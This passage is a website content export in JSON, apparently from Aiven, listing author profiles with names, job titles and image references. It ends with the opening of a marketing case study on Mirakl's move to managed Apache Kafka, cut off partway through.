{"_createdAt":"2023-07-21T12:11:13Z","_id":"55a0d2a7-8172-4540-9346-a96888a8feae","_rev":"liXun5Qglq4dGLky9TQKyX","_type":"author","_updatedAt":"2023-07-21T12:11:13Z","bio":{"_type":"localeString","en":"Senior Software Engineer at Aiven"},"image":{"_type":"mainImage","alt":"A picture of Mathieu Anderson. He has brown hair and blue eyes and a beard.","asset":{"_ref":"image-3ba5fb24d5ffd7249377aa7cd2fe055589b02d8c-253x256-png","_type":"reference"}},"name":"Mathieu Anderson","slug":{"_type":"slug","current":"/author/mathieu-anderson"}} {"_createdAt":"2022-11-15T09:32:36Z","_id":"58912853-4629-4f99-97ce-d0b36b387f57","_rev":"bUMlF7B1Xxw34pzcKd56Ba","_type":"author","_updatedAt":"2022-11-15T09:33:21Z","bio":{"_type":"localeString","en":"Senior Copywriter at Aiven"},"image":{"_type":"mainImage","alt":"mark-roberts-senior-copywriter","asset":{"_ref":"image-f9326a0631735d1efc1db90ce80593af2c1d90c3-2304x2304-jpg","_type":"reference"}},"name":"Mark Roberts","slug":{"_type":"slug","current":"/author/mark-roberts"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"5GVMpe1IHMjNsCovE5S5no","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Senior Software Developer at Convoy Inc."},"image":{"alt":"adrian-kreuziger","asset":{"_ref":"image-185c22ccbd3f4b8ea5aa713a3f78bcad72d1bc1c-160x160-png","_type":"reference"}},"name":"Adrian Kreuziger","slug":{"_type":"slug","current":"/author/adrian-kreuziger"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"5JCxTNOGlqEWGCJILDlrdc","_rev":"wKuLlvEOHLNDUP7J6BnvhS","_type":"author","_updatedAt":"2022-11-03T10:09:46Z","bio":{"en":"Community Manager at Aiven"},"image":{"alt":"Ana Vasiliuk","asset":{"_ref":"image-c4f607430c9247fb62cdf031b8ce04f1947b6f8b-512x512-jpg","_type":"reference"}},"name":"Ana Vasiliuk","shortName":"Ana","slug":{"_type":"slug","current":"/author/ana-vasiliuk"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"5NzxBK7UvFN976uA2uGF66","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Senior Software Engineer"},"image":{"alt":"ronan-dunklau","asset":{"_ref":"image-443e6e5200d3992c34966ea17a7724689d692e40-205x205-png","_type":"reference"}},"name":"Ronan Dunklau","slug":{"_type":"slug","current":"/author/ronan-dunklau"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"5X56DMMpbvqaUWfT7pf8Bi","_rev":"VgCVQRVoWMx60S7mY4Xx8E","_type":"author","_updatedAt":"2023-01-17T18:07:54Z","bio":{"en":"Chief Executive Officer at Aiven"},"image":{"alt":"oskari-saarenmaa","asset":{"_ref":"image-394f4698e60777ab338d6957977a414598f05e82-2000x2000-jpg","_type":"reference"}},"name":"Oskari Saarenmaa","slug":{"_type":"slug","current":"/author/oskari-saarenmaa"}} {"_createdAt":"2023-01-24T06:14:31Z","_id":"5a16a911-c8fc-479c-8760-cb02d321aa7f","_rev":"ZLvKaZvfbZlWBlGcovKG0r","_type":"author","_updatedAt":"2024-01-18T17:43:54Z","bio":{"_type":"localeString","en":"Product Manager"},"image":{"_type":"mainImage","asset":{"_ref":"image-0bd9ef1c1ae436365f9f78af45ae9b071658927d-392x393-png","_type":"reference"}},"name":"Serhat Yanikoglu","shortName":"Serhat","slug":{"_type":"slug","current":"/author/serhat-yanikoglu"}} {"_createdAt":"2023-04-11T10:04:27Z","_id":"5a531f9a-26ef-4216-95ae-2bf249a0b9cd","_rev":"kfl1F24L65Nzg04H5J9gSD","_type":"author","_updatedAt":"2023-10-20T14:32:45Z","bio":{"_type":"localeString","en":"Director of Product Management, Experience at Aiven"},"image":{"_type":"mainImage","asset":{"_ref":"image-4d9942890d7dbe254b5b8def13b1c2dcb60c42d2-1752x2336-jpg","_type":"reference"}},"name":"Cara Baestlein","slug":{"_type":"slug","current":"/author/cara-baestlein"}} {"_createdAt":"2023-02-27T10:31:10Z","_id":"5bcc0d2e-daa8-4b34-b8f1-40ade6425be0","_rev":"t1DqkqeCST00RrkAKF2R9B","_type":"author","_updatedAt":"2023-05-02T16:44:41Z","bio":{"_type":"localeString","en":" Henrietta (Hettie) Dombrovskaya (currently a Database Architect at DRW) is a database researcher and developer with over 35 years of academic and industrial experience. She is a guest contributor on the Aiven blog."},"image":{"_type":"mainImage","asset":{"_ref":"image-7b6cda9785143c298f14e6e1818be8d4ea8977dd-530x530-jpg","_type":"reference"}},"name":"Henrietta Dombrovskaya","slug":{"_type":"slug","current":"/author/henrietta-dombrovskaya"}} {"_createdAt":"2022-06-22T23:24:17Z","_id":"5oopYmtunh54eiR7fMVc2A","_rev":"vDQRRYe9nRreptIRp5oJs1","_type":"author","_updatedAt":"2022-09-30T15:52:19Z","bio":{"en":"Site Reliability Engineering Manager"},"image":{"alt":"andy-grunwald","asset":{"_ref":"image-81e93db239a4672bdba96a72eb9b0093b8b0c80b-800x800-jpg","_type":"reference"}},"name":"Andy Grunwald","slug":{"_type":"slug","current":"/author/andy-grunwald"}} {"_createdAt":"2022-10-26T11:40:14Z","_id":"60e0ed7c-ff49-40b0-b9ea-67f865ccf364","_rev":"9EhxcQHTplKyRiLd2a5Q30","_type":"author","_updatedAt":"2022-10-26T11:40:14Z","bio":{"_type":"localeString","en":"Senior Solution Architect at Aiven"},"image":{"_type":"mainImage","alt":"Mikhail Kokho, Senior Solution Architect at Aiven","asset":{"_ref":"image-e8d0010c82b25a223c900725487e646c0b305e95-512x512-png","_type":"reference"}},"name":"Mikhail Kokho","slug":{"_type":"slug","current":"/author/mikhail-kokho"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"6T10aEUQnciMUdnmWvrkkO","_rev":"vDQRRYe9nRreptIRp5oJs1","_type":"author","_updatedAt":"2022-09-30T15:52:19Z","bio":{"en":"Director, Partner Sales"},"image":{"alt":"andrew-staller","asset":{"_ref":"image-5713f0ce33855afc5f569f07a618bb0dbe1003e4-335x341-png","_type":"reference"}},"name":"Andrew Staller","slug":{"_type":"slug","current":"/author/andrew-staller"}} {"_createdAt":"2023-03-28T08:34:25Z","_id":"6aeff25f-c17b-430e-86cb-61d3274f2b09","_rev":"QpIjbIkE1ssA0KivVfoyx4","_type":"author","_updatedAt":"2023-05-09T10:22:49Z","bio":{"_type":"localeString","en":"Romaric Philogene is the CEO of Qovery, a self-service infrastructure platform."},"image":{"_type":"mainImage","alt":"Romaric Philogene","asset":{"_ref":"image-411ef6589fbfad57579ad1ceb5ad704c434164d2-390x391-jpg","_type":"reference"}},"name":"Romaric Philogene","slug":{"_type":"slug","current":"/author/romaric-philogene"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"6kbIS9XcSGAirsTtwXqhdf","_rev":"0lF4kyZBi1fr8QymZ2xeZ6","_type":"author","_updatedAt":"2023-03-15T14:05:30Z","bio":{"_type":"localeString","en":"Open Source Engineering Director"},"image":{"alt":"josep-prat","asset":{"_ref":"image-4b7cc2684cdad92d32e1fde8bc07c35374fa8e96-800x800-jpg","_type":"reference"}},"name":"Josep Prat","slug":{"_type":"slug","current":"/author/josep-prat"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"6lMlSgJEYuohRrYw7zGkl8","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Senior Developer Advocate"},"image":{"alt":"dewan-ahmed","asset":{"_ref":"image-3c1829a1ab4800af8be04c7d662ec1454f312c7f-762x762-png","_type":"reference"}},"name":"Dewan Ahmed","slug":{"_type":"slug","current":"/author/dewan-ahmed"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"6vPlPbH3IGfjUppRYabv9t","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Pre-Sales Solution Architect at Aiven"},"image":{"alt":"aaron-kahn","asset":{"_ref":"image-0edac8351ddb1e08fd73471f64df2ee98d7ad243-512x512-png","_type":"reference"}},"name":"Aaron Kahn","slug":{"_type":"slug","current":"/author/aaron-kahn"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"7Hxte8tqh1KGbCYCQOPHsP","_rev":"vDQRRYe9nRreptIRp5oJs1","_type":"author","_updatedAt":"2022-09-30T15:52:19Z","bio":{"en":"Content Marketing Manager at Aiven"},"image":{"alt":"michael-halyk","asset":{"_ref":"image-201f6ab4251fc0ac2f5fdee9e54ab4f1176b7f80-300x300-jpg","_type":"reference"}},"name":"Michael Halyk","slug":{"_type":"slug","current":"/author/michael-halyk"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"7aLlIDft447BvdfSDjeIdu","_rev":"9EhxcQHTplKyRiLd2a7AXw","_type":"author","_updatedAt":"2022-10-26T11:44:08Z","bio":{"en":"Technical Copywriter at Aiven"},"image":{"alt":"Auri Poso, Technical Copywriter at Aiven","asset":{"_ref":"image-b2cb768b0ba8e3a9c3c035d5b9fe7bd7530283d8-3389x3389-jpg","_type":"reference"}},"name":"Auri Poso","slug":{"_type":"slug","current":"/author/auri-poso"}} {"_createdAt":"2023-04-04T13:08:03Z","_id":"7bb7e704-8d5a-492b-a575-77c091540b5d","_rev":"UCPTtiecS0npvQz8kwrEuy","_type":"author","_updatedAt":"2023-04-04T13:08:03Z","bio":{"_type":"localeString","en":"Software Engineer at Aiven"},"image":{"_type":"mainImage","asset":{"_ref":"image-ec34985efb8ed06e3f85f02c6ff9805a10db9a44-512x512-jpg","_type":"reference"}},"name":"Aleksander Zaruczewski","slug":{"_type":"slug","current":"/author/aleksander-zaruczewski"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"7jvTwkcIsfjUdBxnDaw00U","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Developer Advocate at Aiven"},"image":{"alt":"jonatas-jojo-baldin","asset":{"_ref":"image-59eadb09952fdb1c418cc27b12c0bbd38ec124a7-205x205-png","_type":"reference"}},"name":"Jonatas \"jojo\" Baldin","slug":{"_type":"slug","current":"/author/jonatas-jojo-baldin"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"7y8OuLQVQDP4tgtA2CEEmd","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Marketing Specialist at Aiven"},"image":{"alt":"laura-tiensuu","asset":{"_ref":"image-0ca9bb00d1e6b3223dc38d8afc534f1acf810782-300x300-jpg","_type":"reference"}},"name":"Laura Tiensuu","slug":{"_type":"slug","current":"/author/laura-tiensuu"}} {"_createdAt":"2022-11-02T09:32:58Z","_id":"88df9be3-cf62-449e-85f6-dbfe05cb477f","_rev":"70bM5v708uTTBntrbB8JYR","_type":"author","_updatedAt":"2022-11-02T09:47:11Z","bio":{"_type":"localeString","en":"Senior Technical Product Manager"},"image":{"_type":"mainImage","alt":"Ari-Pekka Repo, Senior Technical Product Manager at Aiven","asset":{"_ref":"image-1ab9ddd65ee561a8af99aa35b2637d0b0fe2388c-512x512-png","_type":"reference"}},"name":"Ari-Pekka Repo","shortName":"AP","slug":{"_type":"slug","current":"/author/ari-pekka-repo"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"CwYvBlc0mZRbFtiATviQl","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Head of Customer Success at Aiven"},"image":{"alt":"prem-nallasivampillai","asset":{"_ref":"image-20cb9dbe000ccd903c8a32c523d5ff48aa1e5735-205x205-jpg","_type":"reference"}},"name":"Prem Nallasivampillai","slug":{"_type":"slug","current":"/author/prem-nallasivampillai"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"LFe7wYXE7xFFvwFXOIwwX","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Head of Growth Marketing at Aiven"},"image":{"alt":"kyle-buzzell","asset":{"_ref":"image-c59e84cf781cc1c9f0d1f5013b18ee2b90221b11-1500x1500-jpg","_type":"reference"}},"name":"Kyle Buzzell","slug":{"_type":"slug","current":"/author/kyle-buzzell"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"MtPf0fA4gEsTHRgE5bHjI","_rev":"6BJll63fjycTvao7AvUMhn","_type":"author","_updatedAt":"2022-07-13T10:59:12Z","bio":{"en":"Head of Site Reliability Engineering at Aiven"},"image":{"alt":"mika-eloranta","asset":{"_ref":"image-d13157c61c619e7b453930c07fe94bdf28641559-205x205-jpg","_type":"reference"}},"name":"Mika Eloranta","slug":{"_type":"slug","current":"/author/mika-eloranta"}} {"_createdAt":"2023-06-12T08:34:06Z","_id":"bdb7993b-a93d-4d8d-abf3-dd52963becad","_rev":"kqzyZ7JVpCO5nNERnMfm2T","_type":"author","_updatedAt":"2023-06-30T15:47:21Z","bio":{"_type":"localeString","en":"Security Operations Manager at Aiven"},"image":{"_type":"mainImage","alt":"Picture of Antti Kuruittu","asset":{"_ref":"image-2e6cdc1f877b450decdbf6bd4b48dcc20eb6f046-800x659-jpg","_type":"reference"}},"name":"Antti Kurittu","slug":{"_type":"slug","current":"/author/antti-kurittu"}} {"_createdAt":"2024-04-09T11:38:16Z","_id":"b42de39a-603a-4cdc-8cb4-3a569caf620c","_rev":"ixD1Z6QkTI4STljuuO2Vf5","_type":"author","_updatedAt":"2024-04-09T13:29:59Z","bio":{"_type":"localeString","en":"Category Leader, Platform and Open Source Product Marketing at Aiven"},"image":{"_type":"mainImage","asset":{"_ref":"image-804f7c25a5a176ad0d9ce387948268bbba8637c9-1595x1829-jpg","_type":"reference"}},"name":"Janki Patel Westenberg","shortName":"Janki Patel Westenberg","slug":{"_type":"slug","current":"/author/janki-patel-westenberg"}} {"_createdAt":"2023-01-10T12:13:41Z","_id":"cd9f3dc9-f305-4c1c-9cc8-16587dece8b0","_rev":"E3MJ1tvkRvxse5neCawCRZ","_type":"author","_updatedAt":"2023-01-16T13:57:45Z","bio":{"_type":"localeString","en":"VP Product Management"},"image":{"_type":"mainImage","alt":"Jonah Kowall, VP Product Management","asset":{"_ref":"image-13e4ce598be792b5daa02c480eced089ac6e34c8-1714x2400-jpg","_type":"reference"}},"name":"Jonah Kowall","shortName":"Jonah","slug":{"_type":"slug","current":"/author/jonah-kowall"}} {"_createdAt":"2023-01-10T14:32:38Z","_id":"d0806128-b67f-4ded-bc85-586d3f1f3b4d","_rev":"et7UlfrTeMxFNLKIJ6BhJH","_type":"author","_updatedAt":"2023-01-10T14:32:38Z","bio":{"_type":"localeString","en":"Talent Acquisition Manager at Aiven"},"image":{"_type":"mainImage","alt":"Kate Macdonald","asset":{"_ref":"image-9e914ea69f18b3bcbdd9633adb3b4279b361be65-645x645-jpg","_type":"reference"}},"name":"Kate Macdonald","shortName":"Kate","slug":{"_type":"slug","current":"/author/kate-macdonald"}} {"_createdAt":"2022-10-13T16:44:13Z","_id":"d85943fb-1e96-4f71-84f9-91011d917141","_rev":"97ScSe1K9UIWVy4zLdiGQt","_type":"author","_updatedAt":"2023-10-20T14:31:09Z","bio":{"_type":"localeString","en":"Enterprise \u0026 Solutions Marketing Lead at Aiven"},"image":{"_type":"mainImage","asset":{"_ref":"image-d939a6d7e950c5020ea416bff9f5caaea4cd0a7b-891x1200-jpg","_type":"reference"}},"name":"Ben Gamble","slug":{"_type":"slug","current":"/author/ben-gamble"}} {"_createdAt":"2024-08-26T18:01:50Z","_id":"d9876e27-ddc6-4ade-abe4-1281a2c7a1e2","_rev":"QJtWNkOOU8d8F4outb6JrE","_type":"author","_updatedAt":"2024-08-26T18:45:05Z","bio":{"_type":"localeString","en":"Product Manager, Data Streaming"},"image":{"_type":"mainImage","asset":{"_ref":"image-274ec92d3a0ae74268eb20a1ee3d045cb3a068a7-512x512-png","_type":"reference"}},"name":"Michael Tansini","slug":{"_type":"slug","current":"/author/michael-tansini"}} {"_createdAt":"2023-07-19T09:31:04Z","_id":"e0a137e9-37e9-4442-9281-24f3904a5734","_rev":"77RmzEfKMHZobuqIIvarDj","_type":"author","_updatedAt":"2023-07-19T09:35:22Z","bio":{"_type":"localeString","en":"Staff Technical Product Manager"},"image":{"_type":"mainImage","asset":{"_ref":"image-004879f0f423e570202e4ae3d71c104974f43b3f-240x240-webp","_type":"reference"}},"name":"Viktor Trykolenko","slug":{"_type":"slug","current":"/author/viktor-trykolenko"}} {"_createdAt":"2024-08-05T08:13:24Z","_id":"e98895f5-efb2-4876-925b-f5dfac32abf2","_rev":"YaKEzcVhnb7P0fmfvP1L8q","_type":"author","_updatedAt":"2024-08-05T08:27:04Z","bio":{"_type":"localeString","en":"Data \u0026 Analytics Solutions Architecture at Google"},"image":{"_type":"mainImage","asset":{"_ref":"image-c0bcc47bddfde00af46b56db6d5c49d88030a754-300x300-png","_type":"reference"}},"name":"Jobin George","slug":{"_type":"slug","current":"/author/jobin-george"}} {"_createdAt":"2023-09-19T21:25:43Z","_id":"ede81389-d839-4a48-9532-776f85268f0c","_rev":"kaQ4ZWos4gq6sBfd7rZkV1","_type":"author","_updatedAt":"2023-09-19T21:45:11Z","image":{"_type":"mainImage","alt":"Nick Rycar, Senior Product Marketing Manager","asset":{"_ref":"image-a5f2757375c7aaf470efa6b48e208504f492a91e-512x512-jpg","_type":"reference"}},"name":"Nick Rycar","slug":{"_type":"slug","current":"/author/nick-rycar"}} {"_createdAt":"2023-01-25T12:13:49Z","_id":"f1dd24db-accf-463c-bf14-fe82adbdf1ae","_rev":"uc5XaHa91eGJt7sy2MSzlH","_type":"author","_updatedAt":"2023-01-25T12:13:49Z","image":{"_type":"mainImage","asset":{"_ref":"image-cab5e7ee4211b8131e6aedc98589c9c1d938aec2-512x512-png","_type":"reference"}},"name":"Ryan O'Connor","shortName":"Ryan","slug":{"_type":"slug","current":"/author/ryan-o-connor"}} {"_createdAt":"2023-01-10T14:33:28Z","_id":"fa265a2a-831a-4862-a7d7-42065a008cc6","_rev":"Z39vf97kTT8utJKfKVZRKj","_type":"author","_updatedAt":"2023-01-10T14:33:28Z","bio":{"_type":"localeString","en":"Senior Specialist Employer Brand at Aiven"},"image":{"_type":"mainImage","alt":"Jen Szabo","asset":{"_ref":"image-9b7ea5a9fdfceb61a630f045ce74e0f9959f105b-378x378-jpg","_type":"reference"}},"name":"Jen Szabo","shortName":"Jen","slug":{"_type":"slug","current":"/author/jen-szabo"}} {"_createdAt":"2024-07-22T14:13:43Z","_id":"84fbc43a-fa69-4eaa-9879-1e910e6d8643","_rev":"mr6Ps1Vz8WkVL9G5VRqnuh","_type":"author","_updatedAt":"2024-07-22T14:13:43Z","image":{"_type":"mainImage","asset":{"_ref":"image-bff3dbe12824e1e0750c12ba56b492a654f05339-856x856-png","_type":"reference"}},"name":"Ayleen Kim","slug":{"_type":"slug","current":"/author/ayleen-kim"}} {"_createdAt":"2024-04-11T14:33:43Z","_id":"bc1fa92d-fde5-40fd-97e8-33a4f5012885","_rev":"FKB2VSfLo1od9Oar6NewAE","_type":"author","_updatedAt":"2024-04-12T13:41:41Z","bio":{"_type":"localeString","en":"Joe Zhou is a Developer Advocate at Dragonfly. He is a guest contributor on the Aiven blog."},"image":{"_type":"mainImage","asset":{"_ref":"image-94cde43c1b0e2463c716fbc5fdfeaada30cbf61f-1008x1017-jpg","_type":"reference"}},"name":"Joe Zhou","shortName":"Joe Zhou","slug":{"_type":"slug","current":"/author/joe-zhou"}} {"_createdAt":"2024-05-08T14:37:48Z","_id":"988a3b7d-5394-4b8f-ac1f-f5927573f1e3","_rev":"msvVOwV0ly404Y5Jq5nYLd","_type":"author","_updatedAt":"2024-08-06T16:42:12Z","bio":{"_type":"localeString","en":"Product Manager, Platform"},"image":{"_type":"mainImage","asset":{"_ref":"image-6bef5aa959b61a371debcd84b2009a9dca3517ab-512x512-png","_type":"reference"}},"name":"Jeremy Heller","shortName":"Jeremy Heller","slug":{"_type":"slug","current":"/author/jeremy-heller"}} {"_createdAt":"2024-05-23T10:21:27Z","_id":"2fed39bf-2e91-416d-b529-7213d234d1ac","_rev":"jEln45CgOQD4spzxey6knH","_type":"author","_updatedAt":"2024-07-17T09:50:49Z","bio":{"_type":"localeString","en":"Director of Product Management"},"image":{"_type":"mainImage","asset":{"_ref":"image-e1f93f08aa1a858d7901e7679a0b2eff37b8f4b1-1024x1024-jpg","_type":"reference"}},"name":"Oded Valin","shortName":"Oded Valin","slug":{"_type":"slug","current":"/author/oded-valin"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"3dImkQse2fXRL7zTLzAoa1","_rev":"FHhmCmf3a5rPejvLoikrCF","_type":"author","_updatedAt":"2024-12-03T14:57:25Z","bio":{"en":"Head of Developer Experience at Aiven"},"image":{"alt":"francesco-tisiot","asset":{"_ref":"image-39e612633486449c587814fa233be677e9ea3732-512x512-png","_type":"reference"}},"name":"Francesco Tisiot","slug":{"_type":"slug","current":"/author/francesco-tisiot"}} {"_createdAt":"2024-09-27T19:11:40Z","_id":"925e2091-dea7-4c68-a08d-9c870edc6cff","_rev":"1U5rBVnZYn4alWirhZzQYJ","_type":"author","_updatedAt":"2024-10-01T11:08:59Z","bio":{"_type":"localeString","en":"Director Product Management, Databases, Google Cloud"},"image":{"_type":"mainImage","asset":{"_ref":"image-a36ae0ccaec5f2ec6543f9f659dd7e9fc5df62ca-800x800-jpg","_type":"reference"}},"name":"GG Goindi","shortName":"GG Goindi","slug":{"_type":"slug","current":"/author/gg-goindi"}} {"_createdAt":"2024-08-26T17:58:48Z","_id":"81fcbfa9-edc6-4c5c-acd0-9bf1ac3fa83d","_rev":"aWoy619Wq5MYH4feSQVXtP","_type":"author","_updatedAt":"2024-08-30T07:26:29Z","bio":{"_type":"localeString","en":"Head of Product Marketing, Core Services"},"image":{"_type":"mainImage","asset":{"_ref":"image-e7627605ff6e5495107c386256c471df59bfa53d-512x512-png","_type":"reference"}},"name":"Larry Heathcote","slug":{"_type":"slug","current":"/author/larry-heathcote"}} {"_createdAt":"2022-06-14T14:41:00Z","_id":"23npxnYfL41QURg8oY8Lat","_rev":"9k1srJVIAf7BJJgtqkigkU","_type":"author","_updatedAt":"2024-04-03T12:01:53Z","bio":{"en":"VP Product at Aiven"},"image":{"alt":"soumya-bijjal","asset":{"_ref":"image-8902f8b764b12a2533226e3c727834bda0681a17-205x205-png","_type":"reference"}},"name":"Soumya Bijjal","slug":{"_type":"slug","current":"/author/soumya-bijjal"}} {"_createdAt":"2022-06-14T14:22:52Z","_id":"7JA4OvuGiIBppdAjKtCxYN","_rev":"9k1srJVIAf7BJJgtqkpYIc","_type":"author","_updatedAt":"2024-04-03T12:18:39Z","bio":{"en":"Co-founder at Aiven"},"image":{"alt":"hannu-valtonen","asset":{"_ref":"image-2123f0a2c44f339f9cf10314f9b82609626afe30-800x800-jpg","_type":"reference"}},"name":"Hannu Valtonen","slug":{"_type":"slug","current":"/author/hannu-valtonen"}} {"_createdAt":"2023-09-29T11:25:59Z","_id":"3d759db2-54e5-4c4a-94ec-f52be97578dc","_rev":"CJO3e8rLk53sCEtDX16Rgh","_type":"author","_updatedAt":"2024-03-27T13:48:12Z","image":{"_type":"mainImage","asset":{"_ref":"image-9f4932d474515877c0d991fab2bf847b1d9c7344-800x800-jpg","_type":"reference"}},"name":"Ian Massingham","shortName":"Ian","slug":{"_type":"slug","current":"/author/ian-massingham"}} {"__i18n_lang":"en","__i18n_refs":[{"_key":"fr","_ref":"a79841f2-b791-4192-86c0-a6532b59cb2f__i18n_fr","_type":"reference"}],"_createdAt":"2022-09-19T13:45:02Z","_id":"a79841f2-b791-4192-86c0-a6532b59cb2f","_rev":"UPIPX87Xr8dUQrGWEOmorj","_type":"caseStudy","_updatedAt":"2024-12-10T15:35:42Z","company":{"_ref":"a1b1HCA1GLpib0GtaoJrT","_type":"reference"},"content":[{"_key":"b451c548072c","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"04864ef038b1","_type":"block","children":[{"_key":"2f56ed7149740","_type":"span","marks":[],"text":"Fast growing online marketplace platform provider Mirakl was spending too much time and effort creating and maintaining a monolith system for each customer. Aiven for Apache Kafka enabled their transformation to cloud- native services."}],"markDefs":[],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"b58ab5b6f0fd","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"e90ca733ca0c","_type":"block","children":[{"_key":"bdb6577842170","_type":"span","marks":[],"text":"Operating expenses reduced by 70%"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c6799f603444","_type":"block","children":[{"_key":"d70da9c4eef7","_type":"span","marks":[],"text":"Agile development process enabled"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"10471093b6c8","_type":"block","children":[{"_key":"b88c2579e938","_type":"span","marks":[],"text":"Time to market improved"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8fcb24643979","_type":"block","children":[{"_key":"798514018331","_type":"span","marks":[],"text":"Managed solution without surrendering control of data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Highlights","variant":"oneColumn"},{"_key":"7de1c916c32c","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"4c809b0fd60a","_type":"block","children":[{"_key":"1110db40f2c70","_type":"span","marks":["cb9f873ca1a5"],"text":"Mirakl"},{"_key":"99e564bc2aee","_type":"span","marks":[],"text":", founded in 2012, powers more than 300 online marketplaces. They enable brands, retailers and distributors (both B2C and B2B businesses) to build platforms that sell both their own products but also third-party inventory."}],"markDefs":[{"_key":"cb9f873ca1a5","_type":"link","href":"https://www.mirakl.com/"}],"style":"normal"},{"_key":"38bcebeb8963","_type":"block","children":[{"_key":"7aed2b96ff720","_type":"span","marks":[],"text":"Mirakl’s original solution called for an independent monolith system to be created for each customer. As their business expanded, this approach began to require too much effort. For one thing, a monolith setup is fragile: if one part of the application must be updated or just crashes, all features are impacted and the customer is left without services, and the provider’s margins suffer. Add up all that downtime, and that’s a lot of wasted capacity."}],"markDefs":[],"style":"normal"},{"_key":"a8d51c73b6dc","_type":"block","children":[{"_key":"98c320d6444a0","_type":"span","marks":[],"text":"Mirakl also ran into scalability issues. As their customers’ business grew they wanted to buy more capacity, but adding it was a huge investment in terms of effort, and customers were reluctant to scale up with no subsequent way to scale back down at need. This hampered not only the customers, but also Mirakl’s own growth and bottom line."}],"markDefs":[],"style":"normal"},{"_key":"5d39f3376862","_type":"block","children":[{"_key":"25c7f50013bc0","_type":"span","marks":[],"text":"In 2016, Mirakl had had enough of the monolith. They decided to take a leap into a cloud-native microservice architecture that would reduce their downtime and be far easier to scale. Mirakl also wanted a truly open source solution in order to avoid vendor lock."}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"87e55494705d","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"e484e93fb6de","_type":"block","children":[{"_key":"c5ce2825de880","_type":"span","marks":[],"text":"Right from the outset, Mirakl knew that "},{"_key":"334451e4cbf6","_type":"span","marks":["dab6faedc07d"],"text":"Apache Kafka was the only sensible solution"},{"_key":"7b464f32cfdd","_type":"span","marks":[],"text":" for their business."}],"markDefs":[{"_key":"dab6faedc07d","_type":"internalLink","internalLink":{"_ref":"1lXo1w2g8BTdPN9kxrvRFI","_type":"reference"}}],"style":"normal"},{"_key":"242ec64f0360","_type":"block","children":[{"_key":"c024076efd8c0","_type":"span","marks":[],"text":"Initially they ran an Apache Kafka cluster themselves, and soon discovered how painful it could be. “We upgraded it twice ourselves, and after the second time I vowed never to do it again,” says Matthieu Mouminoux, Lead Architect at Mirakl."}],"markDefs":[],"style":"normal"},{"_key":"24a55da35a4f","_type":"block","children":[{"_key":"108d9dc6dcb60","_type":"span","marks":[],"text":"So they started to look for a SaaS provider for their full Kafka system."}],"markDefs":[],"style":"normal"},{"_key":"88a6fcf9b844","_type":"block","children":[{"_key":"cdf8fa8da5a70","_type":"span","marks":[],"text":"“We were looking for a partner with a high degree of operational excellence,” says Nagi Letaifa, VP of Engineering at Mirakl. “They would also need to offer extensive support and be widely compliant with security standards.”"}],"markDefs":[],"style":"normal"},{"_key":"9ebf79c08b6b","_type":"block","children":[{"_key":"75b0c980e9de0","_type":"span","marks":[],"text":"They discovered a newly-founded company, called Aiven, offering a fully managed Apache Kafka solution, with transparent pricing and easy setup."}],"markDefs":[],"style":"normal"},{"_key":"3162c871659e","_type":"block","children":[{"_key":"b2f19d8e37600","_type":"span","marks":[],"text":"“I liked how you just create an account and then it already works. No calling up the vendor or setting up implementation meetings,” Matthieu says. This made it easy to test and evaluate the service and get a better understanding of what they were getting into."}],"markDefs":[],"style":"normal"},{"_key":"fbf8ebf60c2c","_type":"block","children":[{"_key":"4935588e7df40","_type":"span","marks":[],"text":"Mirakl’s due diligence soon revealed that Aiven maintained compliance with all major data security regulations. So after a period of light testing, Mirakl decided to take Aiven for Apache Kafka out for a more serious spin."}],"markDefs":[],"style":"normal"}],"title":"The 